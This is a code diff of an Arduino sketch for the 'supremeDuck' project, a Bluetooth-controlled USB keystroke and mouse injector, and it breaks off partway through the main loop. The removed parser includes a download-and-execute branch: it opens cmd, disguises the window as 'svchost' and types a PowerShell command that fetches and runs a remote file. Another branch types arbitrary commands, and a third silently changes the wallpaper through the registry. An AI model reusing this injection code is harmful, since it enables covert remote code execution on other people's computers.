-  if(b > 0)
-  {
-    for(byte i=0;i<3; i++)
-    {
-      for(byte offset=0; offset<100; offset++)
-      {
-        EEPROM.get(offset+1+(100*i), Encoding[i][offset]); //+1 because the 0 address holds trigger bool for tricky activation method
-        if(LOG_SAVED_ENCODING_EEPROM)
-        {
-          Serial.print(Encoding[i][offset], HEX);
-          Serial.print(",");
-        }
-      }
-
-      if(LOG_SAVED_ENCODING_EEPROM){Serial.print("\n");}
-    }
-  }
-  else if(LOG_SAVED_ENCODING_EEPROM)
-  {
-    Serial.print("No encoding available");
-    Serial.print("\n");
-  }
-}
-
-void MyFuncMouseMove(char *inStr)
-{
-  char x;
-  char y;
-
-  //MM:L,U,FF,FF,end
-  char strValBuff[3]={inStr[7],inStr[8],'\0'};
-  x = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
-
-  strValBuff[0]=inStr[10];
-  strValBuff[1]=inStr[11];
-  y = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
-
- //MM:L,U,FF,FF,end //left/right, up/down, horizontal value, vertical value
-  if(inStr[3] == 'L'){x = x * -1;}
-  if(inStr[5] == 'D'){y = y * -1;}
-
-  if(LOG_SERIAL){Serial.print("    x="); Serial.print((byte)x);Serial.print(", y=");Serial.print((byte)y);Serial.print("\n");}
-  Mouse.move(x, y, 0);
-
-  for(byte i=0;i<strlen(inStr);i++){inStr[i]=0;}
-}
-
-void typeKey(int key)
-{
-  Keyboard.press(key);
-  delay(50);
-  Keyboard.release(key);
-}
-
-void openRun()
-{
-  Keyboard.press(KEY_LEFT_GUI);
-  delay(200);
-  Keyboard.press('r');
-  delay(200);
-  Keyboard.releaseAll();
-  delay(700);
-}
-
-void openCmd()
-{
-  openRun();
-  Print("cmd");
-  typeKey(KEY_RETURN);
-}
-
-void EnterCommand(char *text)
-{
-  Print(text);
-  delay(10);
-  typeKey(KEY_RETURN);
-}
-
-void Check_Protocol(char *inStr)
-{
-  if(!strcmp(inStr,"Enter"))
-  {
-    typeKey(KEY_RETURN);
-  }
-
-  if(!strcmp(inStr,"Alt+F4"))
-  {
-    Keyboard.press(KEY_LEFT_ALT);
-    delay(10);
-    Keyboard.press(KEY_F4);
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Increase font size"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press(KEY_LEFT_SHIFT);
-    delay(10);
-    Keyboard.press('>');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Decrease font size"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press(KEY_LEFT_SHIFT);
-    delay(10);
-    Keyboard.press('<');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Select all"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press('a');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Bold"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press('b');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Underline"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press('u');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"click"))
-  {
-    Mouse.click();
-  }
-
-  if(StrStartsWith(inStr, "DE:") && StrContains(inStr, ",type:") && StrEndsWith(inStr, ",end")) //DE:t,type:est,end (download and execute)
-  {
-    byte indexType = SubStrIndex(inStr, ",type:"); //trying to get the position where link is ending and the file type begins
-    byte indexEnd = SubStrIndex(inStr, ",end"); //trying to get the position where the file type ends (to know its length)
-
-    char fileFormat[10];
-    byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
-    for(byte i=0;i<=typeLen;i++)
-    {
-      fileFormat[i] = inStr[i+indexType+strlen(",type:")];
-
-      if(i == typeLen){fileFormat[i] = '\0';}
-    }
-
-    for(byte i=0;i<=indexType-3;i++)//indexType - 3 which is "DE:" + 1
-    {
-      inStr[i] = inStr[i+3];
-
-      if(i == indexType-3){inStr[i] = '\0';}
-    }
-
-    openCmd(); //("powershell Start-Process cmd -Verb runAs");
-    delay(500);
-    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
-
-    Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
-    Print(inStr);
-    Print("'; $file = 'downloadedfile.");
-    Print(fileFormat);
-    Print("'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;\" & exit");
-    typeKey(KEY_RETURN);
-  }
-
-
-  if(StrStartsWith(inStr, "YT:") && StrEndsWith(inStr, ",end")) //YT:t,end (Youtube)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openRun();
-    //Print("www.youtube.com/embed/2Z4m4lnjxkY?rel=0&autoplay=1"); //trololo 2Z4m4lnjxkY
-    Print("www.youtube.com/embed/");
-    Print(inStr);
-    Print("?rel=0&autoplay=1");
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "YTB:") && StrEndsWith(inStr, ",end"))//youtube control buttons
-  {
-    ExtractDeliveredText(inStr, 4);
-    if(StrContains(inStr, "PP")){Print(" ");}
-    else if(StrContains(inStr, "F5")){Keyboard.press(KEY_RIGHT_ARROW);}//forward 5s // change inc/vol to 10 sec if it doesn't work and use Print("l/j")
-    else if(StrContains(inStr, "B5")){Keyboard.press(KEY_LEFT_ARROW);}//backward 5s
-    else if(StrContains(inStr, "GB")){Keyboard.press(KEY_HOME);}//go to begining
-    else if(StrContains(inStr, "GE")){Keyboard.press(KEY_END);}//go to end
-    else if(StrContains(inStr, "CA")){Print("c");}//captions tog
-    else if(StrContains(inStr, "IS")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print(">");}//increase speed (may not work in all browsers)
-    else if(StrContains(inStr, "DS")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("<");}//decrease speed
-    else if(StrContains(inStr, "IV")){Keyboard.press(KEY_UP_ARROW);}//increase vol
-    else if(StrContains(inStr, "DV")){Keyboard.press(KEY_DOWN_ARROW);}//decrease vol
-    else if(StrContains(inStr, "PV")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("p");}//previous video (in a playlist)
-    else if(StrContains(inStr, "NV")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("n");}//next video
-    else if(StrContains(inStr, "FS")){Print("f");}//full screen tog
-    else if(StrContains(inStr, "F11")){Keyboard.press(KEY_F11);}//full screen browser tog
-    delay (70);
-    Keyboard.releaseAll();
-  }
-
-  if(StrStartsWith(inStr, "WS:") && StrEndsWith(inStr, ",end")) //WS:t,end (website)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openRun();
-    Print(inStr);
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "EP:") && StrEndsWith(inStr, ",end")) //EP:t,end (execute program)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openRun();
-    Print(inStr);
-    delay(100);
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "EC:") && StrEndsWith(inStr, ",end")) //EC:t,end (execute command)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openCmd();
-    delay(500);
-    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
-    Print(inStr);
-    if(StrStartsWith(inStr, "cd \"%USERPROFILE%\\Desktop\" & FOR")){typeKey(KEY_RETURN); delay(50); Print("echo a");} //exception for a command which creates multiple files (otherwise only one file would be created, echo a is added because command " & exit" wouldn't close the window without something preceding it
-
-    Print(" & exit");
-    typeKey(KEY_RETURN);
-    delay(100);
-  }
-
-  //.
-
-
-
-  if(StrStartsWith(inStr ,"PT:") && StrEndsWith(inStr, ",end")) //(direct text instruction)
-  {
-    ExtractDeliveredText(inStr, 3);
-    Print(inStr);
-  }
-
-  if(StrStartsWith(inStr ,"TE:") && StrEndsWith(inStr, ",end")) //(direct text instruction but with enter at the end )
-  {
-    ExtractDeliveredText(inStr, 3);
-    Print(inStr);
-    delay(20);
-    Keyboard.press(KEY_RETURN);
-    delay(20);
-    Keyboard.release(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "ENC,") && StrEndsWith(inStr, ",end")) //(direct text instruction)
-  {
-    byte encodingFactor=255;
-    switch (inStr[4]) //5th letter is D, U or M depending on the type of 3 encoding factors
-    {
-      case 'D':
-        {
-          encodingFactor=0;
-        }
-        break;
-
-      case 'U':
-        {
-          encodingFactor=1;
-        }
-        break;
-      case 'M':
-        {
-          encodingFactor=2;
-        }
-        break;
-      default:
-        {
-          Serial.print("Error: Incorrect encoding factor.");
-          return;
-        }
-        break;
-    }
-
-    ExtractDeliveredText(inStr, 6);
-
-    if(LOG_SAVED_ENCODING_EEPROM){Serial.print("Received:\n");}
-
-    for(byte offset=0; offset<strlen(inStr); offset+=2)
-    {
-      byte strValBuff[3]={inStr[offset],inStr[offset+1],'\0'};
-
-      Encoding[encodingFactor][offset/2] = (byte)strtoul((char*)strtok(strValBuff, " "),NULL,16);//(((byte)inStr[offset]) * 16) + (byte)inStr[offset+1];
-
-      if(LOG_SAVED_ENCODING_EEPROM)
-      {
-        Serial.print(Encoding[encodingFactor][offset/2], HEX);
-        Serial.print("-");
-        Serial.print(offset);
-        Serial.print("  ");
-      }
-    }
-
-    if(LOG_SAVED_ENCODING_EEPROM){Serial.print("\nSaved to EEPROM:\n");}
-
-    //save to EEPROM
-    for(byte offset=0; offset<100; offset++)
-    {
-      Encoding[encodingFactor][offset] = ((offset<(strlen(inStr)/2)) ? Encoding[encodingFactor][offset] : 0);
-      EEPROM.put(offset+1+(100*encodingFactor), Encoding[encodingFactor][offset]); //+1 because the 0 address holds trigger bool for tricky activation method
-
-      if(LOG_SAVED_ENCODING_EEPROM)
-      {
-        Serial.print(Encoding[encodingFactor][offset], HEX);
-        Serial.print(",");
-      }
-    }
-
-    if(LOG_SAVED_ENCODING_EEPROM){Serial.print("\n\n");}
-
-  }
-
-  if(StrStartsWith(inStr, "SW:") && StrContains(inStr, ",type:") && StrEndsWith(inStr, ",end")) //SW:t,type:est,end (download and set as a wallpaper)
-  {
-    byte indexType = SubStrIndex(inStr, ",type:"); //trying to get the position where link is ending and the file type begins
-    byte indexEnd = SubStrIndex(inStr, ",end"); //trying to get the position where the file type ends (to know its length)
-
-    char fileFormat[10];
-    byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
-    for(byte i=0;i<=typeLen;i++)
-    {
-      fileFormat[i] = inStr[i+indexType+strlen(",type:")];
-
-      if(i == typeLen){fileFormat[i] = '\0';}
-    }
-
-    for(byte i=0;i<=indexType-3;i++)//indexType - 3 which is "SW:" + 1
-    {
-      inStr[i] = inStr[i+3];
-
-      if(i == indexType-3){inStr[i] = '\0';}
-    }
-
-    openCmd(); //("powershell Start-Process cmd -Verb runAs");
-    delay(500);
-    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
-
-    Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
-    Print(inStr);
-    Print("'; $file = 'downloadedfile.");
-    Print(fileFormat);
-    Print("'; $down.DownloadFile($url,$file); exit;\" & reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d C:\\Users\\%USERNAME%\\downloadedfile.");
-    Print(fileFormat);
-    Print(" /f & RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters & exit");
-    typeKey(KEY_RETURN);
-  }
-
-  for(byte i=0;i<MAX_SERIAL_LENGTH;i++){inStr[i]=0;}
-}
-
-/*
-ENC,D:2122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F40414D5157595A5B5C5D5E5F6061696D7177797A7B7C7D7E,end
-ENC,U:317E333435373238392D345C3D2F37303132333435363738392F5C2C302E2D71616D7177797A382D39333D5C61226D7177797A375C305D,end
-ENC,M:81008686818181818100810000008100000000000000000000818181818181868181818181818686868181860000000000000086818686,end
-*/
-
-void ExtractDeliveredText(char *inStr, byte ignoredStartingChars) //gets rid of the first 3 chars (e.g. "YT:") and the ",end" (it assumes that every message received ends with ",end", if the message would end like ",ending" the function won't work properly without adding additional parameter, somthing like: "byte ignoredEndingChars")
-{
-  byte len = SubStrIndex(inStr, ",end") - ignoredStartingChars;
-
-  for(byte i=0;i<=len;i++)
-  {
-    inStr[i] = inStr[i+ignoredStartingChars];
-    if(i == len)
-    {
-      inStr[i] = '\0';
-    }
-  }
-}
-
-int SubStrIndex(char *str, char *sfind)
-{
-    byte found = 0;
-    byte index = 0;
-    byte len = strlen(str);
-
-    if (strlen(sfind) > len)
-    {
-        return 0;
-    }
-
-    while (index < len)
-    {
-        if (str[index] == sfind[found])
-        {
-            found++;
-            if (strlen(sfind) == found)
-            {
-                index = index - strlen(sfind) + 1;
-                return index;
-            }
-        }
-        else{found = 0;}
-
-        index++;
-    }
-
-    return 0;
-}
-
-bool StrContains(char *str, char *sfind)
-{
-    byte found = 0;
-    byte index = 0;
-    byte len;
-
-    len = strlen(str);
-
-    if (strlen(sfind) > len) {return false;}
-
-    while (index < len)
-    {
-        if (str[index] == sfind[found])
-        {
-            found++;
-            if (strlen(sfind) == found) {return true;}
-        }
-        else {found = 0;}
-
-        index++;
-    }
-
-    return false;
-}
-
-bool StrStartsWith(char* str, char* desiredStart)
-{
-  if(strlen(desiredStart)>strlen(str)){return false;}
-
-  byte matching = 0;
-  for(byte i=0; i < strlen(desiredStart); i++)
-    if(str[i] == desiredStart[i])
-      matching++;
-
-  if(matching == strlen(desiredStart))
-    return true;
-
-  return false;
-}
-
-bool StrEndsWith(char* str, char* desiredEnd)
-{
-  if(strlen(desiredEnd)>strlen(str))
-  {
-    return false;
-  }
-  byte matching = 0;
-  byte desiredEndLen = strlen(desiredEnd);
-  byte baseStrLen = strlen(str);
-  for(byte i=0;i<strlen(desiredEnd);i++)
-  {
-    if(str[baseStrLen - desiredEndLen + i] == desiredEnd[i]){matching++;}
-  }
-
-  if(matching == desiredEndLen){return true;}
-
-  return false;
-}
-
-
-void Print(char *inStr)
-{
-  //de (old)
-  //byte Desired_Keys[109] =  {0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0xA0, 0xA4, 0xA7, 0xB0, 0xB2, 0xB3, 0xC4, 0xD6, 0xDC, 0xDF, 0xE4, 0xF6, 0xFC};
-  //byte Used_Keys[109] =     {0x20, 0x31, 0x32, 0x5C, 0x34, 0x35, 0x36, 0x5C, 0x38, 0x39, 0x5D, 0x5D, 0x2C, 0x2F, 0x2E, 0x37, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2E, 0x2C, 0xEC, 0x30, 0xEC, 0x2D, 0x71, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x7A, 0x79, 0x38, 0x2D, 0x39, 0x7E, 0x2F, 0x3D, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x7A, 0x79, 0x37, 0xEC, 0x30, 0x5D, 0xB2, 0x20, 0x65, 0x33, 0x7E, 0x32, 0x33, 0x22, 0x3B, 0x5B, 0x2D, 0x22, 0x3B, 0x5B};
-  //byte Modifier_Keys[109] = {0x00, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x86, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x86, 0x86, 0x86, 0x00, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x86, 0x86, 0x86, 0x00, 0x00, 0x86, 0x81, 0x81, 0x86, 0x86, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00};
-
-  //us
-  //byte Desired_Keys[55] = {0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x4D, 0x51, 0x57, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E};
-  //byte Used_Keys[55] = {0x31, 0x22, 0x33, 0x34, 0x35, 0x37, 0x22, 0x39, 0x30, 0x38, 0x3D, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3B, 0x3B, 0x2C, 0x3D, 0x2E, 0x2F, 0x32, 0x61, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x36, 0x2D, 0x7E, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x7E};
-  //byte Modifier_Keys[55] = {0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x81, 0x81, 0x81};
-
-  //it
-  //byte Desired_Keys[59] = {0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x4D, 0x51, 0x57, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0xE0, 0xE8, 0xE9, 0xEC, 0xF2, 0xF9};
-  //byte Used_Keys[59] = {0x31, 0x32, 0x22, 0x34, 0x35, 0x36, 0x2D, 0x38, 0x39, 0x5D, 0x5D, 0x2C, 0x2F, 0x2E, 0x37, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2E, 0x2C, 0xEC, 0x30, 0xEC, 0x2D, 0x3B, 0x61, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x60, 0x5D, 0x3D, 0x2F, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x7E, 0x5D, 0x22, 0x5B, 0x5B, 0x3D, 0x3B, 0x5C};
-  //byte Modifier_Keys[59] = {0x81, 0x81, 0x86, 0x81, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x86, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x86, 0x00, 0x86, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x81, 0x86, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00};
-
-  //fr
-  //byte Desired_Keys[55] =   {0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x4D, 0x51, 0x57, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E};
-  //byte Used_Keys[55] =      {0x2F, 0x33, 0x33, 0x5D, 0x22, 0x31, 0x34, 0x35, 0x2D, 0x5C, 0x3D, 0x6D, 0x36, 0x2C, 0x2E, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2E, 0x2C, 0xEC, 0x3D, 0xEC, 0x6D, 0x30, 0x71, 0x3B, 0x61, 0x7A, 0x79, 0x77, 0x35, 0x38, 0x2D, 0x39, 0x38, 0x37, 0x71, 0x69, 0x3B, 0x61, 0x7A, 0x79, 0x77, 0x34, 0x36, 0x3D, 0x32};
-  //byte Modifier_Keys[55] =  {0x00, 0x00, 0x86, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x81, 0x81, 0x86, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x86, 0x86, 0x86, 0x86, 0x00, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x86, 0x86, 0x86};
-
-  //es
-  //byte Desired_Keys[61] =   {0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x4D, 0x51, 0x57, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0xBA, 0xE0, 0xE8, 0xE9, 0xEC, 0xF2, 0xF9};
-  //byte Used_Keys[61] =      {0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x2D, 0x38, 0x39, 0x5D, 0x5D, 0x2C, 0x2F, 0x2E, 0x37, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2E, 0x2C, 0xEC, 0x30, 0xEC, 0x2D, 0x32, 0x61, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x7E, 0x5D, 0x3D, 0x2F, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x31, 0x5D, 0x34, 0x7E, 0x22, 0x5B, 0x5B, 0x3D, 0x3B, 0x5C};
-  //byte Modifier_Keys[61] =  {0x81, 0x81, 0x86, 0x81, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x86, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x86, 0x86, 0x86, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x86, 0x86, 0x86, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00};
-
-  int enc_index;
-
-  for(byte i=0; i<strlen(inStr); i++)
-  {
-    enc_index = GetKeyIndex(inStr[i], Encoding[ENCODING_BYTE_DESIRED]);
-    if(enc_index < 256)
-    {
-      if(Encoding[ENCODING_BYTE_MODIFIER][enc_index] > 0)
-      {
-        Keyboard.press(Encoding[ENCODING_BYTE_MODIFIER][enc_index]);
-        delay(5);
-      }
-
-      Keyboard.press(Encoding[ENCODING_BYTE_USED][enc_index]);
-      delay(5);
-
-      //Serial.print(inStr[i]);
-      //Serial.print(", ");
-      //Serial.print(Desired_Keys[enc_index]);
-      //Serial.print(", ");
-      //Serial.print(Modifier_Keys[enc_index]);
-      //Serial.print(", ");
-     // Serial.print(Used_Keys[enc_index]);
-      //Serial.print(", ");
-      //Serial.print("\n");
-
-    }
-    else
-    {
-      Keyboard.press(inStr[i]);
-      //Serial.print(", ");
-      //Serial.println(inStr[i]);
-      delay(5);
-
-    }
-
-    Keyboard.releaseAll();
-  }
-}
-
-int GetKeyIndex(byte c, byte* char_array)
-{
-  for(byte i=0;i<strlen(char_array);i++)
-  {
-    if(c == char_array[i])
-    {
-      return i;
-    }
-  }
-  return 256;
-}
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+/*
+supremeDuck project - https://www.youtube.com/user/MichalMonday
+Created by Michal Borowski
+*/
+
+/*
+Communication characteristics:
+Android App -> Arduino (currently the communication is one sided - maybe some length checks could be added to prevent data loss in the air but it's not needed now I think)
+*/
+
+#include <SoftwareSerial.h>
+#include "Keyboard.h"
+#include "Mouse.h"
+#include <EEPROM.h>
+
+#define LOG_SAVED_ENCODING_EEPROM false
+#define LOG_SERIAL false //setting to true makes mouse movement laggy if the serial monitor isn't open
+
+#define HC_BAUDRATE 9600 //(default baud rate of hc-06)
+
+/*
+#define EEPROM_ADDRESS_TRIGGER_TRICK 0
+trick = plug it in + plug out within 3 secs = special function is triggered(that special function is commented out in "setup" funciton)
+*/
+
+//add comma check in app or solve the bug (if data received by arduino ends with ",,end" instead of standard ",end" arduino won't respond)
+
+//https://www.arduino.cc/en/Reference/KeyboardModifiers
+
+//SoftwareSerial BTSerial(16, 15);
+SoftwareSerial BTSerial(9, 8); // RX | TX these are pins responsible for communication between the bluetooth module and arduino
+//SoftwareSerial BTSerial(8, 9); //old pinout (less comfortable to solder, now only 1 of these devices has it this way)
+
+#define MAX_SERIAL_LENGTH 200 //if you'd like to make it greater than 255 make sure to replace "byte" with "int" inside every "for loop"
+char inSerial[MAX_SERIAL_LENGTH]; //it will contain the text sent from bluetooth module and received in arduino
+
+/*
+ * keypad values copied from http://forum.arduino.cc/index.php?topic=266688.msg1880647#msg1880647
+ * thanks to nickgammon's reply
+ */
+
+byte KEYPAD[10] = {
+  234,
+  225,
+  226,
+  227,
+  228,
+  229,
+  230,
+  231,
+  232,
+  233
+};
+
+void setup()
+{
+  BTSerial.begin(HC_BAUDRATE);  //
+  Keyboard.begin();
+  Mouse.begin();
+
+  Serial.begin(9600);
+
+
+  /*
+  //TRIGGER TRICK
+  //plug in and out within 3 sec to trigger some action at the next plug in
+  byte triggerDefault = 0;
+  EEPROM.get(EEPROM_ADDRESS_TRIGGER_TRICK, triggerDefault);
+  byte c =1;
+  EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
+  if(triggerDefault == 1)
+  {
+    //action
+  }
+
+  delay(3000);
+  c =0;
+  EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
+  */
+
+  /*
+  delay(7000);
+
+  for(byte i=0;i<255;i++)
+  {
+    Keyboard.print(i);
+    Keyboard.print("-");
+    Keyboard.print((char)i);
+    Keyboard.print(", ");
+
+    delay(100);
+  }
+  */
+
+  //delay(7000);
+  //Keyboard.press((char)175);
+  //delay(15);
+  //Keyboard.releaseAll();
+
+  //delay(10000);
+}
+
+void loop()
+{
+  byte i=0;
+  if (BTSerial.available() > 0)
+  {
+    unsigned long previousByteRec = millis();
+    unsigned long lastByteRec = millis();
+    while (100 > lastByteRec - previousByteRec)
+    {
+      lastByteRec = millis();
+
+      while (BTSerial.available() > 0 && i < MAX_SERIAL_LENGTH-1)
+      {
+        inSerial[i]=BTSerial.read();
+        i++;
+
+        if(i == 16)
+        {
